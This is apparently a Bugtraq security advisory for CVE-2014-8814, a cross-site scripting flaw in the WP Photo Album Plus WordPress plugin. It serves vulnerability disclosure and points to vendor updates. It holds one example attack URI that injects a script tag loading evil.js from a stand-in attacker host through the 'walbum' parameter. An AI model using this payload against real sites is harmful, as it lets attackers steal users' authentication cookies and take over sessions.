WordPress WP Photo Album Plus Plugin CVE-2014-8814 Cross Site Scripting Vulnerability

Bugtraq ID:	71263
Class:	Input Validation Error
CVE:	CVE-2014-8814
Remote:	Yes
Local:	No
Published:	Nov 24 2014 12:00AM
Updated:	Nov 24 2014 12:00AM
Credit:	Kacper Szurek
Vulnerable:
Not Vulnerable:

WordPress WP Photo Album Plus Plugin CVE-2014-8814 Cross Site Scripting Vulnerability

The WP Photo Album Plus plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WordPress WP Photo Album Plus Plugin CVE-2014-8814 Cross Site Scripting Vulnerability

Attackers can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.

The following example URI is available:

http://www.example.com/wp-admin/admin.php?page=wppa_photo_of_the_day&walbum="><script src=http://attacker-url/evil.js></script>

WordPress WP Photo Album Plus Plugin CVE-2014-8814 Cross Site Scripting Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

WordPress WP Photo Album Plus Plugin CVE-2014-8814 Cross Site Scripting Vulnerability

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